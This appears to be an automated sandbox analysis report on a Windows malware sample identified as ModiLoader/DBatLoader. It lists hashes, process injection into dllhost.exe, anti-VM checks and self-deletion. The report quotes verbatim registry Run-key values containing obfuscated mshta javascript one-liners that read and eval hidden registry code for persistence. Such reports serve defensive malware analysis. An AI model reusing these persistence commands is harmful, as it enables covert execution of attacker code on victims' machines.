Analysis
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max time kernel
149s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
05-05-2024 09:05
Static task
static1
Behavioral task
behavioral1
Sample
16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe
Resource
win10v2004-20240226-en
General
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Target
16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe
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Size
357KB
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MD5
16f2bfd12ecc59c08c846c7a91179688
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SHA1
ac74f2287c0bfe874a210570322452929b765f5e
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SHA256
22515694f5e8a26dabe3a2c78c91b20868877b50f2e11779e15a946ff0e9a239
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SHA512
6d445e1454aeedb55a8f98176abc078c7878de8738eb5cb00b5bc388bb4921eb678bcd3e109ebe59c72732fa17dbd7f2064afd500067bbbe1520ec581f66bbd2
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SSDEEP
6144:SyN8f1pUqmWqpYTHpIb93Oh68L6xywQ1blRjXS7ytx2Uvs:h6f1pUqmIHpyG6TitS0xS
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions dllhost.exe -
ModiLoader Second Stage 46 IoCs
Processes:
resource yara_rule behavioral1/memory/2220-7-0x0000000000400000-0x000000000045F000-memory.dmp modiloader_stage2 behavioral1/memory/2220-9-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/2596-14-0x00000000000B0000-0x0000000000174000-memory.dmp modiloader_stage2 behavioral1/memory/2220-13-0x0000000000400000-0x000000000045F000-memory.dmp modiloader_stage2 behavioral1/memory/2220-12-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/2596-16-0x00000000000B0000-0x0000000000174000-memory.dmp modiloader_stage2 behavioral1/memory/2600-19-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-24-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-23-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-25-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-22-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-26-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-21-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-27-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-20-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-28-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-29-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2616-31-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2616-35-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2616-34-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2616-33-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2616-32-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2616-36-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-37-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-45-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-44-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-42-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-41-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-40-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-38-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/1576-47-0x0000000000110000-0x00000000001D4000-memory.dmp modiloader_stage2 behavioral1/memory/1576-50-0x0000000000110000-0x00000000001D4000-memory.dmp modiloader_stage2 behavioral1/memory/1576-49-0x0000000000110000-0x00000000001D4000-memory.dmp modiloader_stage2 behavioral1/memory/1576-48-0x0000000000110000-0x00000000001D4000-memory.dmp modiloader_stage2 behavioral1/memory/1576-53-0x0000000000110000-0x00000000001D4000-memory.dmp modiloader_stage2 behavioral1/memory/2600-62-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-67-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-68-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-66-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-65-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-70-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-69-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-64-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-71-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-63-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2600-72-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
dllhost.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run dllhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:dMjRb9Qd=\"KYwPkYimMh\";z3Y=new%20ActiveXObject(\"WScript.Shell\");M8GagS6m=\"rHeKZO\";REmO57=z3Y.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c41a571d\\\\a7204798\");Rzb6ch0t=\"9sDZol2\";eval(REmO57);uQR3EJyI=\"fQbq\";" dllhost.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools dllhost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
dllhost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion dllhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion dllhost.exe -
Deletes itself 1 IoCs
Processes:
dllhost.exepid process 2600 dllhost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
dllhost.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:ZCDP0ZGm=\"yEPC\";X4L=new%20ActiveXObject(\"WScript.Shell\");m61XhDxA=\"Riy1xN\";YVM50o=X4L.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c41a571d\\\\a7204798\");XkhC42nPj=\"kZOX6El8gC\";eval(YVM50o);twEm3Lk=\"uq42EGUp\";" dllhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:uGGHUKA38=\"URZunEHGU2\";Pi56=new%20ActiveXObject(\"WScript.Shell\");RJlqnMC7=\"8hPM7iOR\";y0M7Ua=Pi56.RegRead(\"HKCU\\\\software\\\\c41a571d\\\\a7204798\");eHdkk8b=\"DCxTp\";eval(y0M7Ua);yUZ8rtw=\"MN2aNPv\";" dllhost.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum dllhost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 dllhost.exe -
Processes:
dllhost.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl dllhost.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\International dllhost.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
dllhost.exepid process 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exedllhost.exedllhost.exepid process 2220 16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe 2220 16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe 2220 16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe 2596 dllhost.exe 2596 dllhost.exe 2596 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe 2600 dllhost.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exedllhost.exedllhost.exedescription pid process target process PID 2220 wrote to memory of 2596 2220 16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe dllhost.exe PID 2220 wrote to memory of 2596 2220 16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe dllhost.exe PID 2220 wrote to memory of 2596 2220 16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe dllhost.exe PID 2220 wrote to memory of 2596 2220 16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe dllhost.exe PID 2596 wrote to memory of 2600 2596 dllhost.exe dllhost.exe PID 2596 wrote to memory of 2600 2596 dllhost.exe dllhost.exe PID 2596 wrote to memory of 2600 2596 dllhost.exe dllhost.exe PID 2596 wrote to memory of 2600 2596 dllhost.exe dllhost.exe PID 2600 wrote to memory of 2616 2600 dllhost.exe dllhost.exe PID 2600 wrote to memory of 2616 2600 dllhost.exe dllhost.exe PID 2600 wrote to memory of 2616 2600 dllhost.exe dllhost.exe PID 2600 wrote to memory of 2616 2600 dllhost.exe dllhost.exe PID 2600 wrote to memory of 1576 2600 dllhost.exe explorer.exe PID 2600 wrote to memory of 1576 2600 dllhost.exe explorer.exe PID 2600 wrote to memory of 1576 2600 dllhost.exe explorer.exe PID 2600 wrote to memory of 1576 2600 dllhost.exe explorer.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\16f2bfd12ecc59c08c846c7a91179688_JaffaCakes118.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2220 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"4⤵PID:2616
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C:\Windows\SysWOW64\explorer.exeexplorer.exe4⤵PID:1576
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
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Filesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a